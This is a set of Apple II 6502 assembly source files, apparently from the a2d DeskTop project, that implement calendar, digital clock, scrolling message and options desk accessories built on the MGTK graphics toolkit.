.endproc ; IncDate
;;; ============================================================
.proc HandleClose
MGTK_CALL MGTK::TrackGoAway, trackgoaway_params
lda trackgoaway_params::clicked
jne Exit
jmp InputLoop
.endproc ; HandleClose
;;; ============================================================
.proc HandleDrag
copy8 #kDAWindowId, dragwindow_params::window_id
MGTK_CALL MGTK::DragWindow, dragwindow_params
common:
bit dragwindow_params::moved
IF_NS
;; Draw DeskTop's windows and icons.
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
;; Draw DA's window
jsr DrawWindow
END_IF
jmp InputLoop
.endproc ; HandleDrag
;;; ============================================================
.proc HandleClick
copy8 #kDAWindowId, screentowindow_params::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
MGTK_CALL MGTK::InRect, left_button::rect
jne DecDate
MGTK_CALL MGTK::InRect, right_button::rect
jne IncDate
jmp InputLoop
.endproc ; HandleClick
;;; ============================================================
pencopy: .byte MGTK::pencopy
notpencopy: .byte MGTK::notpencopy
notpenXOR: .byte MGTK::notpenXOR
;;; ============================================================
.proc PaintWindow
ENTRY_POINTS_FOR_BIT7_FLAG draw, update, full_flag
;; Defer if content area is not visible
MGTK_CALL MGTK::GetWinPort, getwinport_params
RTS_IF_A_EQ #MGTK::Error::window_obscured
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::HideCursor
;; --------------------------------------------------
;; Leap year adjustment (NOTE: only handles mod-4 rule, not mod-100 rule)
lda datetime + ParsedDateTime::year ; low byte
and #3 ; modulo 4
IF_ZERO
lda #29
ELSE
lda #28
END_IF
sta month_len_table+1
;; --------------------------------------------------
;; Draw month and year
lda datetime + ParsedDateTime::month
asl
tax
copy16 month_str_table-2,x, ptr_str_month
jsr MakeYearString
;; Measure month + space + year width, to center
copy16 #0, width
ldax ptr_str_month
jsr MeasureString
addax width
param_call MeasureString, str_space
addax width
param_call MeasureString, str_year
addax width
sub16 #kDAWidth, width, pos_month_year::xcoord
lsr16 pos_month_year::xcoord
;; Erase background if needed
bit full_flag
IF_NC
MGTK_CALL MGTK::SetPenMode, notpencopy
MGTK_CALL MGTK::PaintRect, rect_month_year
END_IF
;; Draw month + space + year
MGTK_CALL MGTK::MoveTo, pos_month_year
ldax ptr_str_month
jsr DrawString
param_call DrawString, str_space
param_call DrawString, str_year
;; --------------------------------------------------
;; Grid lines
bit full_flag
IF_NS
MGTK_CALL MGTK::SetPenMode, pencopy
MGTK_CALL MGTK::SetPenSize, grid_pen
copy8 #kNumGridLines - 1, index
DO
lda index
asl ; *8 == .sizeof(MGTK::Point) * 2
asl
asl
pha
clc
adc #<grid_lines
sta pt_start
lda #0
adc #>grid_lines
sta pt_start+1
pla
clc
adc #<(grid_lines+.sizeof(MGTK::Point))
sta pt_end
lda #0
adc #>(grid_lines+.sizeof(MGTK::Point))
sta pt_end+1
MGTK_CALL MGTK::MoveTo, SELF_MODIFIED, pt_start
MGTK_CALL MGTK::LineTo, SELF_MODIFIED, pt_end
dec index
WHILE_POS
END_IF
;; --------------------------------------------------
;; Day names
bit full_flag
IF_NS
copy8 #6, index
DO
lda index
asl
tax
copy16 day_pos_table,x, pos_addr
MGTK_CALL MGTK::MoveTo, SELF_MODIFIED, pos_addr
lda index
clc
adc first_dow
IF_A_GE #7
;; C=1
sbc #7
END_IF
asl
tax
lda day_str_table,x
pha
lda day_str_table+1,x
tax
pla
jsr DrawString
dec index
WHILE_POS
END_IF
;; --------------------------------------------------
;; Date numbers
;; Find day-of-week for first day of month
sub16 datetime + ParsedDateTime::year, #1900, tmp
ldy tmp ; year (0=1900)
ldx datetime + ParsedDateTime::month ; month (1=Jan)
lda #1 ; day
jsr DayOfWeek ; 0=sun
sta tmp
;; Start a few days earlier, to erase previous days
lda #1
sec
sbc tmp
clc
adc first_dow
IF_POS
IF_A_GE #2
;; C=1
sbc #7
END_IF
END_IF
sta date
;; Find length of month
ldx datetime + ParsedDateTime::month
copy8 month_len_table-1,x, mlen
inc mlen
;; Start in top-left of grid
copy8 #0, col
copy8 #0, row
COPY_BLOCK date_base, date_pos
day_loop:
;; Assume it's an empty cell.
copy8 #3, str_date
lda #' '
sta str_date+1
sta str_date+2
;; A valid day?
lda date
beq draw_date
cmp mlen
bcs draw_date
;; Create the string.
copy8 #2, str_date
copy8 #' ', str_date+1 ; assume 1 digit
lda date
ldx #0
DO
BREAK_IF_A_LT #10
sbc #10
inx
WHILE_NOT_ZERO ; always
ora #'0' ; convert to digit
sta str_date+2 ; units place
txa
IF_NOT_ZERO
ora #'0' ; convert to digit
sta str_date+1 ; tens place
END_IF
;; Draw it
draw_date:
MGTK_CALL MGTK::MoveTo, date_pos
param_call DrawString, str_date
add16_8 date_pos::xcoord, #kDayDX
;; Next
inc col
lda col
IF_A_EQ #7
copy8 #0, col
inc row
copy16 date_base::xcoord, date_pos
add16_8 date_pos::ycoord, #kDayDY
END_IF
inc date
lda date
cmp #39 ; extra, to erase previous days
jne day_loop
;; --------------------------------------------------
;; Left/right arrow buttons
bit full_flag
IF_NS
BTK_CALL BTK::Draw, left_button
BTK_CALL BTK::Draw, right_button
END_IF
;; --------------------------------------------------
;; Finish up
MGTK_CALL MGTK::ShowCursor
rts
;; --------------------------------------------------
;;; High bit set if this is a full repaint
full_flag:
.byte 0
;;; Variables for drawing month/year display
width: .word 0
ptr_str_month:
.addr 0
;;; Variables for drawing grid
index: .byte 0
;;; Variables when drawing day numbers
tmp: .word 0
dow: .byte 5 ; day of week of 1st day of month (0=sun)
date: .byte 0
mlen: .byte 0 ; month length + 1
row: .byte 0
col: .byte 0 ; sun=0, etc
.endproc ; PaintWindow
DrawWindow := PaintWindow::draw
UpdateWindow := PaintWindow::update
;;; ============================================================
;;; Populates `str_year` from `datetime` (a `ParsedDateTime`)
;;; ASSERT: year between 1900 and 2155
.proc MakeYearString
copy16 datetime+ParsedDateTime::year, tmp
ldy #1
ldx #AS_BYTE(-1)
DO
inx
sub16 tmp, #1000, tmp
WHILE_CS
add16 tmp, #1000, tmp
txa
ora #'0' ; convert to digit
sta str_year,y
iny
ldx #AS_BYTE(-1)
DO
inx
sub16 tmp, #100, tmp
WHILE_CS
add16 tmp, #100, tmp
txa
ora #'0' ; convert to digit
sta str_year,y
iny
ldx #AS_BYTE(-1)
DO
inx
sub16 tmp, #10, tmp
WHILE_CS
add16 tmp, #10, tmp
txa
ora #'0' ; convert to digit
sta str_year,y
iny
lda tmp
ora #'0' ; convert to digit
sta str_year,y
rts
tmp: .word 0
.endproc ; MakeYearString
;;; ============================================================
.include "../lib/uppercase.s"
.include "../lib/drawstring.s"
.include "../lib/measurestring.s"
str_time := 0 ; unused
.include "../lib/datetime.s"
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
JSR_TO_AUX aux::Init
rts
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 9,401
|
src/desk.acc/digital.clock.s
|
;;; ============================================================
;;; DIGITAL.CLOCK - Desk Accessory
;;;
;;; Clears the screen and shows the current time/date.
;;; ============================================================
.include "../config.inc"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
;;; Copy of DATELO/HI and TIMELO/HI
datetime:
.tag DateTime
;;; Assert: Called from Aux
.proc GetDateTime
JSR_TO_MAIN DoMLIGetTime
copy16 #DATELO, STARTLO
copy16 #DATELO+.sizeof(DateTime)-1, ENDLO
copy16 #datetime, DESTINATIONLO
sec ; main>aux
jmp AUXMOVE
.endproc ; GetDateTime
;;; ============================================================
;;; Graphics Resources
event_params: .tag MGTK::Event
grafport: .tag MGTK::GrafPort
notpencopy: .byte MGTK::notpencopy
pencopy: .byte MGTK::pencopy
pensize: .byte 8, 4
kCharWidth = 6
kCharHeight = 6
kCharXShift = 3
kCharYShift = 3
kCharAdvance = (kCharWidth+1) << kCharXShift
kCharY = (kScreenHeight + (kCharHeight << kCharYShift)) / 2
DEFINE_POINT vector_cursor, 0, 0
DEFINE_POINT cur, 0, 0
;;; ============================================================
str_time:
PASCAL_STRING "00:00 XM"
parsed: .tag ParsedDateTime
;;; ============================================================
;;; DA Init
.proc Init
MGTK_CALL MGTK::ObscureCursor
;; Clear screen to black
MGTK_CALL MGTK::InitPort, grafport
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::SetPenMode, notpencopy
MGTK_CALL MGTK::PaintRect, grafport + MGTK::GrafPort::maprect
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; Init
;;; ============================================================
;;; Main Input Loop
.proc InputLoop
jsr MaybeUpdate
MGTK_CALL MGTK::GetEvent, event_params
lda event_params + MGTK::Event::kind
cmp #MGTK::EventKind::button_down ; was clicked?
beq exit
cmp #MGTK::EventKind::key_down ; any key?
beq exit
jmp InputLoop
exit:
MGTK_CALL MGTK::RedrawDeskTop
MGTK_CALL MGTK::DrawMenuBar
JSR_TO_MAIN JUMP_TABLE_HILITE_MENU
rts ; exits input loop
.endproc ; InputLoop
;;; ============================================================
;;; Update
;;; Call `Update` if there's a change from last time
.proc MaybeUpdate
jsr GetDateTime
;; Compare
ldx #.sizeof(DateTime)-1
DO
lda datetime,x
cmp last,x
bne diff
dex
WHILE_POS
rts ; no change
;; Different! update
diff: COPY_STRUCT DateTime, datetime, last
jmp Update
last: .tag DateTime
.endproc ; MaybeUpdate
.proc Update
copy16 #parsed, $A
param_call ParseDatetime, datetime
param_call MakeTimeString, parsed ; populates `str_time`
MGTK_CALL MGTK::InitPort, grafport
MGTK_CALL MGTK::SetPort, grafport
;; Clear to black
MGTK_CALL MGTK::SetPenMode, notpencopy
MGTK_CALL MGTK::PaintRect, grafport + MGTK::GrafPort::maprect
;; Init cursor
copy16 #kCharY, vector_cursor::ycoord
copy16 #0, vector_cursor::xcoord
ldx str_time ; A = string length
DO
add16_8 vector_cursor::xcoord, #kCharWidth+1
dex
WHILE_NOT_ZERO
dec16 vector_cursor::xcoord
ldx #kCharXShift ; scale x
DO
asl16 vector_cursor::xcoord
dex
WHILE_NOT_ZERO
sub16 #kScreenWidth, vector_cursor::xcoord, vector_cursor::xcoord
asr16 vector_cursor::xcoord
;; Set up for drawing
MGTK_CALL MGTK::SetPenSize, pensize
MGTK_CALL MGTK::SetPenMode, pencopy
;; Iterate over string, draw each char
copy8 #1, idx
DO
idx := *+1
ldx #SELF_MODIFIED_BYTE
lda str_time,x
jsr DrawVectorChar
lda idx
BREAK_IF_A_EQ str_time
inc idx
WHILE_NOT_ZERO
done:
rts
.endproc ; Update
;;; ============================================================
;;; A = char
.proc DrawVectorChar
cmp #' '
jeq advance
ptr := $06
jsr GetPoly
stax ptr
ldy #0
;; For each poly...
ploop: copy8 (ptr),y, num_verts ; A = num vertices
iny
;; For each vertex...
copy8 #0, vindex
DO
copy8 (ptr),y, cur::xcoord
iny
copy8 (ptr),y, cur::ycoord
iny
lda #0
sta cur::xcoord+1 ; extend to 16 bits
sta cur::ycoord+1
;; Scale
ldx #kCharXShift ; scale x
DO
asl16 cur::xcoord
dex
WHILE_NOT_ZERO
ldx #kCharYShift ; scale y
DO
asl16 cur::ycoord
dex
WHILE_NOT_ZERO
;; Offset
add16 vector_cursor::xcoord, cur::xcoord, cur::xcoord
sub16 vector_cursor::ycoord, cur::ycoord, cur::ycoord
tya ; Y = ptr offset
pha
lda vindex
IF_ZERO
MGTK_CALL MGTK::MoveTo, cur
ELSE
MGTK_CALL MGTK::LineTo, cur
END_IF
pla
tay ; Y = ptr offset
inc vindex
dec num_verts
WHILE_NOT_ZERO
lda (ptr),y ; A = num vertices, 0 if done
beq advance ; done
jmp ploop
advance:
add16 vector_cursor::xcoord, #kCharAdvance, vector_cursor::xcoord
rts
vindex: .byte 0
num_verts: .byte 0
more_flag: .byte 0
.endproc ; DrawVectorChar
;;; ============================================================
;;; Input: A = char
;;; Output: A,X = poly addr
.proc GetPoly
;; Find index
ldx #0
DO
BREAK_IF_A_EQ char_to_index,x
inx
WHILE_NOT_ZERO ; always
;; Get poly address
txa
asl
tax
lda index_to_poly,x
pha
lda index_to_poly+1,x
tax
pla
rts
.endproc ; GetPoly
;;; ============================================================
char_to_index:
.byte "0123456789APM:"
index_to_poly:
.addr poly_0, poly_1, poly_2, poly_3
.addr poly_4, poly_5, poly_6, poly_7
.addr poly_8, poly_9, poly_A, poly_P
.addr poly_M, poly_colon
;;; Adapted from: https://wiki.tcl-lang.org/page/Vector+Font
;;; Format is a list of polylines:
;;; num_verts (0 = done)
;;; x1, y1, x2, y2 ...
;;; Coords are [0..4],[0..6] with 0,0 in lower left of box
poly_0:
.byte 5
.byte 0,0, 0,6, 4,6, 4,0, 0,0
.byte 2
.byte 0,0, 4,6
.byte 0
poly_1:
.byte 3
.byte 2,0, 2,6, 0,4
.byte 2
.byte 0,0,4,0
.byte 0
poly_2:
.byte 6
.byte 0,6, 4,6, 4,3, 0,3, 0,0, 4,0
.byte 0
poly_3:
.byte 4
.byte 0,6, 4,6, 4,0, 0,0
.byte 2
.byte 0,3, 4,3
.byte 0
poly_4:
.byte 3
.byte 0,6, 0,3, 4,3
.byte 2
.byte 4,6, 4,0
.byte 0
poly_5:
.byte 6
.byte 0,0, 4,0, 4,3, 0,3, 0,6, 4,6
.byte 0
poly_6:
.byte 6
.byte 4,6, 0,6, 0,0, 4,0, 4,3, 0,3
.byte 0
poly_7:
.byte 3
.byte 0,6, 4,6, 4,0
.byte 0
poly_8:
.byte 5
.byte 0,0, 0,6, 4,6, 4,0, 0,0
.byte 2
.byte 0,3, 4,3
.byte 0
poly_9:
.byte 5
.byte 4,0, 4,6, 0,6, 0,3, 4,3
.byte 0
poly_A:
.byte 5
.byte 0,0, 0,4, 2,6, 4,4, 4,0
.byte 2
.byte 0,2, 4,2
.byte 0
poly_P:
.byte 5
.byte 0,0, 0,6, 4,6, 4,3, 0,3
.byte 0
poly_M:
.byte 5
.byte 0,0, 0,6, 2,4, 4,6, 4,0
.byte 0
poly_colon:
.byte 2
.byte 2,1, 2,2
.byte 2
.byte 2,4, 2,5
.byte 0
;;; ============================================================
.include "../lib/datetime.s"
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
lda MACHID
and #kMachIDHasClock
IF_ZERO
lda #ERR_DEVICE_NOT_CONNECTED
jmp JUMP_TABLE_SHOW_ALERT
END_IF
JSR_TO_AUX aux::Init
rts
.proc DoMLIGetTime
JUMP_TABLE_MLI_CALL GET_TIME
rts
.endproc ; DoMLIGetTime
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 6,293
|
src/desk.acc/message.s
|
;;; ============================================================
;;; MESSAGE - Desk Accessory
;;;
;;; The typed message scrolls across the screen
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "message.res"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
.proc AuxStart
;; Run the DA
jmp Init
.endproc ; AuxStart
;;; ============================================================
;;; Resources
kFontHeight = 11
delta: .word AS_WORD(-3)
DEFINE_POINT text_pos, kScreenWidth, (kScreenHeight + kFontHeight)/2
placeholder_flag:
.byte $80
kPadChar = ' '
;; Limit because MGTK mispaints if string is wider than screen
kMaxStringLength = 44
;; Always leave enough for a leading and trailing space
buf: .byte .sprintf("%c%s%c", kPadChar, res_string_message_placeholder, kPadChar)
.res kMaxStringLength - (* - buf),0
font: .incbin "../../res/fonts/Athens"
.params text_params
data: .addr buf
length: .byte .strlen(res_string_message_placeholder)+2
width: .word 0 ; for `TextWidth` call
.endparams
DEFINE_RECT rect, 0, (kScreenHeight - kFontHeight)/2, kScreenWidth-1, (kScreenHeight + kFontHeight)/2
event_params: .tag MGTK::Event
notpencopy: .byte MGTK::notpencopy
textbg: .byte MGTK::textbg_black
grafport: .tag MGTK::GrafPort
;;; ============================================================
;;; DA Init
.proc Init
MGTK_CALL MGTK::HideCursor
MGTK_CALL MGTK::InitPort, grafport
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::SetPenMode, notpencopy
MGTK_CALL MGTK::PaintRect, grafport + MGTK::GrafPort::maprect
MGTK_CALL MGTK::SetFont, font
MGTK_CALL MGTK::SetTextBG, textbg
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; Init
;;; ============================================================
;;; Main Input Loop
.proc InputLoop
MGTK_CALL MGTK::GetEvent, event_params
lda event_params + MGTK::Event::kind
cmp #MGTK::EventKind::key_down ; any key?
beq HandleKeyDown
cmp #MGTK::EventKind::button_down ; was clicked?
beq exit
jsr Animate
jmp InputLoop
exit:
MGTK_CALL MGTK::RedrawDeskTop
MGTK_CALL MGTK::DrawMenuBar
JSR_TO_MAIN JUMP_TABLE_HILITE_MENU
MGTK_CALL MGTK::ShowCursor
rts ; exits input loop
.endproc ; InputLoop
;;; ============================================================
;;; Handle Key
.proc HandleKeyDown
lda event_params + MGTK::Event::key
cmp #CHAR_DELETE
beq backspace
cmp #kPadChar
bcs printable
;; --------------------------------------------------
;; Non-printable
cmp #CHAR_ESCAPE
beq InputLoop::exit
IF_A_EQ #CHAR_LEFT
dec16 delta
jmp InputLoop
END_IF
IF_A_EQ #CHAR_RIGHT
inc16 delta
jmp InputLoop
END_IF
jmp InputLoop
;; --------------------------------------------------
;; Printable (append char, preserving trailing space)
printable:
jsr maybe_init
ldx text_params::length
dex
IF_X_LT #kMaxStringLength-1
sta buf,x
copy8 #kPadChar, buf+1,x
inc text_params::length
END_IF
jmp InputLoop
;; --------------------------------------------------
;; Backspace (truncate, preserving trailing space)
backspace:
jsr maybe_init
lda text_params::length
IF_A_GE #3
dec text_params::length
ldx text_params::length
copy8 #kPadChar, buf-1,x
END_IF
jmp InputLoop
;; --------------------------------------------------
;; Initialize on first input
;; Preserves A
maybe_init:
bit placeholder_flag
IF_NS
ldx #0
stx placeholder_flag
ldx #2
stx text_params::length
ldx #kPadChar
stx buf+1
END_IF
rts
.endproc ; HandleKeyDown
;;; ============================================================
;;; Animate
.proc Animate
MGTK_CALL MGTK::MoveTo, text_pos
lda text_params::length
IF_ZERO
copy16 #0, rect::x1
copy16 #kScreenWidth-1, rect::x2
MGTK_CALL MGTK::PaintRect, rect
ELSE
MGTK_CALL MGTK::DrawText, text_params
MGTK_CALL MGTK::TextWidth, text_params
;; Clear before/after
copy16 #0, rect::x1
sub16 text_pos::xcoord, #1, rect::x2
scmp16 rect::x1, rect::x2
IF_NEG
MGTK_CALL MGTK::PaintRect, rect
END_IF
add16 text_pos::xcoord, text_params::width, rect::x1
copy16 #kScreenWidth-1, rect::x2
scmp16 rect::x1, rect::x2
IF_NEG
MGTK_CALL MGTK::PaintRect, rect
END_IF
END_IF
add16 text_pos::xcoord, delta, text_pos::xcoord
lda delta+1
IF_NS
tmp := $06
add16 text_pos::xcoord, text_params::width, tmp
lda tmp+1
IF_NS
copy16 #kScreenWidth-1, text_pos::xcoord
END_IF
ELSE
scmp16 text_pos::xcoord, #kScreenWidth
IF_POS
sub16 #0, text_params::width, text_pos::xcoord
END_IF
END_IF
rts
.endproc ; Animate
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
JSR_TO_AUX aux::AuxStart
rts
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 12,963
|
src/desk.acc/options.s
|
;;; ============================================================
;;; OPTIONS - Desk Accessory
;;;
;;; A control panel offering option settings:
;;; * Copy to RAMCard on startup
;;; * Start Selector if present
;;; * Show shortcuts for buttons
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "options.res"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../toolkits/btk.inc"
.include "../lib/alert_dialog.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
;;; Memory map
;;;
;;; Main Aux
;;; : : : :
;;; | | | |
;;; | DHR | | DHR |
;;; $2000 +-------------+ +-------------+
;;; | IO Buffer | | |
;;; $1C00 +-------------+ | |
;;; | write_buffer| | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | stub & save | | GUI code & |
;;; | settings | | resource |
;;; $800 +-------------+ +-------------+
;;; : : : :
;;;
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
.proc RunDA
jsr Init
lda dialog_result
rts
.endproc ; RunDA
;;; High bit set when anything changes.
dialog_result:
.byte 0
.proc MarkDirty
lda #$80
ora dialog_result
sta dialog_result
rts
.endproc ; MarkDirty
;;; ============================================================
kDAWindowId = $80
kDAWidth = 375
kDAHeight = 100
kDALeft = (kScreenWidth - kDAWidth)/2
kDATop = (kScreenHeight - kMenuBarHeight - kDAHeight)/2 + kMenuBarHeight
str_title:
PASCAL_STRING res_string_window_title
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::go_away_box
title: .addr str_title
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 32
hthumbpos: .byte 0
vthumbmax: .byte 32
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word kDAWidth
mincontheight: .word kDAHeight
maxcontwidth: .word kDAWidth
maxcontheight: .word kDAHeight
port:
DEFINE_POINT viewloc, kDALeft, kDATop
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDAWidth, kDAHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::pencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
;;; ============================================================
.params event_params
kind: .byte 0
;;; EventKind::key_down
key := *
modifiers := * + 1
;;; EventKind::update
window_id := *
;;; otherwise
xcoord := *
ycoord := * + 2
.res 4
.endparams
.params findwindow_params
mousex: .word 0
mousey: .word 0
which_area: .byte 0
window_id: .byte 0
.endparams
.params trackgoaway_params
clicked: .byte 0
.endparams
.params dragwindow_params
window_id: .byte 0
dragx: .word 0
dragy: .word 0
moved: .byte 0
.endparams
.params getwinport_params
window_id: .byte kDAWindowId
port: .addr grafport
.endparams
.params screentowindow_params
window_id: .byte kDAWindowId
DEFINE_POINT screen, 0, 0
DEFINE_POINT window, 0, 0
.endparams
grafport: .tag MGTK::GrafPort
;;; ============================================================
kNumButtons = 5
kButtonLeft = 10
kButtonTop = 10
kButtonSpacing = kSystemFontHeight + 2
DEFINE_BUTTON ramcard_button, kDAWindowId, res_string_label_ramcard, res_string_shortcut_apple_1, kButtonLeft, kButtonTop + kButtonSpacing * 0
DEFINE_BUTTON selector_button, kDAWindowId, res_string_label_selector, res_string_shortcut_apple_2, kButtonLeft, kButtonTop + kButtonSpacing * 1
DEFINE_BUTTON shortcuts_button, kDAWindowId, res_string_label_shortcuts, res_string_shortcut_apple_3, kButtonLeft, kButtonTop + kButtonSpacing * 2
DEFINE_BUTTON casebits_button, kDAWindowId, res_string_label_case, res_string_shortcut_apple_4, kButtonLeft, kButtonTop + kButtonSpacing * 3
DEFINE_BUTTON invisible_button, kDAWindowId, res_string_label_invisible, res_string_shortcut_apple_5, kButtonLeft, kButtonTop + kButtonSpacing * 4
button_button_table:
.addr ramcard_button, selector_button, shortcuts_button, casebits_button, invisible_button
ASSERT_ADDRESS_TABLE_SIZE button_button_table, kNumButtons
;;; Which bit in DeskTopSettings::options this checkbox corresponds to
button_mask_table:
.byte DeskTopSettings::kOptionsSkipRAMCard, DeskTopSettings::kOptionsSkipSelector, DeskTopSettings::kOptionsShowShortcuts, DeskTopSettings::kOptionsSetCaseBits, DeskTopSettings::kOptionsShowInvisible
ASSERT_TABLE_SIZE button_mask_table, kNumButtons
;;; For inverting the sense of a bit vs. its checkbox; high bit set to invert
button_eor_table:
.byte 0, 0, BTK::kButtonStateChecked, BTK::kButtonStateChecked, BTK::kButtonStateChecked
ASSERT_TABLE_SIZE button_eor_table, kNumButtons
;;; ============================================================
.proc Init
MGTK_CALL MGTK::OpenWindow, winfo
jsr DrawWindow
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; Init
.proc InputLoop
JSR_TO_MAIN JUMP_TABLE_SYSTEM_TASK
MGTK_CALL MGTK::GetEvent, event_params
lda event_params::kind
cmp #MGTK::EventKind::button_down
beq HandleDown
cmp #MGTK::EventKind::key_down
beq HandleKey
jmp InputLoop
.endproc ; InputLoop
.proc Exit
MGTK_CALL MGTK::CloseWindow, winfo
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
rts
.endproc ; Exit
;;; ============================================================
.proc HandleKey
lda event_params::key
ldx event_params::modifiers
IF_NOT_ZERO
jsr ToUpperCase
cmp #kShortcutCloseWindow
beq Exit
;; Digit key?
cmp #'1'
bcc InputLoop
cmp #'1'+kNumButtons
bcs InputLoop
sec
sbc #'1' ; ASCII -> index
jmp ToggleButton
END_IF
;; no modifiers
cmp #CHAR_ESCAPE
beq Exit
bne InputLoop ; always
.endproc ; HandleKey
;;; ============================================================
.proc HandleDown
copy16 event_params::xcoord, findwindow_params::mousex
copy16 event_params::ycoord, findwindow_params::mousey
MGTK_CALL MGTK::FindWindow, findwindow_params
lda findwindow_params::window_id
cmp #kDAWindowId
bne InputLoop
lda findwindow_params::which_area
cmp #MGTK::Area::close_box
beq HandleClose
cmp #MGTK::Area::dragbar
beq HandleDrag
cmp #MGTK::Area::content
beq HandleClick
jmp InputLoop
.endproc ; HandleDown
;;; ============================================================
.proc HandleClose
MGTK_CALL MGTK::TrackGoAway, trackgoaway_params
lda trackgoaway_params::clicked
bne Exit
jmp InputLoop
.endproc ; HandleClose
;;; ============================================================
.proc HandleDrag
copy8 #kDAWindowId, dragwindow_params::window_id
copy16 event_params::xcoord, dragwindow_params::dragx
copy16 event_params::ycoord, dragwindow_params::dragy
MGTK_CALL MGTK::DragWindow, dragwindow_params
common:
bit dragwindow_params::moved
IF_NS
;; Draw DeskTop's windows and icons.
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
;; Draw DA's window
jsr DrawWindow
END_IF
jmp InputLoop
.endproc ; HandleDrag
;;; ============================================================
.proc HandleClick
copy16 event_params::xcoord, screentowindow_params::screen::xcoord
copy16 event_params::ycoord, screentowindow_params::screen::ycoord
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
;; ----------------------------------------
;; Check all the button rects
copy8 #kNumButtons-1, index
DO
index := *+1
lda #SELF_MODIFIED_BYTE
asl
tax
copy16 button_button_table,x, rect_addr
add16_8 rect_addr, #BTK::ButtonRecord::rect
MGTK_CALL MGTK::InRect, SELF_MODIFIED, rect_addr
IF_NOT_ZERO
lda index
jmp ToggleButton
END_IF
dec index
WHILE_POS
;; ----------------------------------------
jmp InputLoop
.endproc ; HandleClick
;;; ============================================================
.proc DrawWindow
;; Defer if content area is not visible
MGTK_CALL MGTK::GetWinPort, getwinport_params
RTS_IF_A_EQ #MGTK::Error::window_obscured
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::HideCursor
;; --------------------------------------------------
copy8 #kNumButtons-1, index
DO
index := *+1
lda #SELF_MODIFIED_BYTE
asl
tax
copy16 button_button_table,x, rec_addr
copy16 button_button_table,x, params_addr
ldx index
lda button_mask_table,x
jsr GetBit
ldx index
eor button_eor_table,x
ldy #BTK::ButtonRecord::state
rec_addr := *+1
sta SELF_MODIFIED,y
BTK_CALL BTK::CheckboxDraw, SELF_MODIFIED, params_addr
dec index
WHILE_POS
;; --------------------------------------------------
MGTK_CALL MGTK::ShowCursor
rts
.endproc ; DrawWindow
;;; Inputs: A = bit to read from DeskTopSettings::options
;;; Outputs: A = $80 if set, $00 if unset
ASSERT_EQUALS BTK::kButtonStateNormal, $00
ASSERT_EQUALS BTK::kButtonStateChecked, $80
.proc GetBit
sta mask
ldx #DeskTopSettings::options
jsr ReadSetting
mask := *+1
and #SELF_MODIFIED_BYTE
beq set
lda #0
rts
set: lda #$80
rts
.endproc ; GetBit
;;; ============================================================
.proc ToggleButton
sta index
asl
tay
ldax button_button_table,y
stax rec_addr
stax params_addr
ldx #DeskTopSettings::options
jsr ReadSetting
ldx index
eor button_mask_table,x
ldx #DeskTopSettings::options
jsr WriteSetting
ldx index
lda button_mask_table,x
jsr GetBit
ldx index
eor button_eor_table,x
ldy #BTK::ButtonRecord::state
rec_addr := *+1
sta SELF_MODIFIED,y
BTK_CALL BTK::CheckboxUpdate, SELF_MODIFIED, params_addr
jsr MarkDirty
jmp InputLoop
index: .byte 0
.endproc ; ToggleButton
;;; ============================================================
.include "../lib/uppercase.s"
.include "../lib/drawstring.s"
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
JSR_TO_AUX aux::RunDA
bmi SaveSettings
rts
.include "../lib/save_settings.s"
.assert * < write_buffer, error, .sprintf("DA too big (at $%X)", *)
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 43,366
|
src/desk.acc/dos33.import.s
|
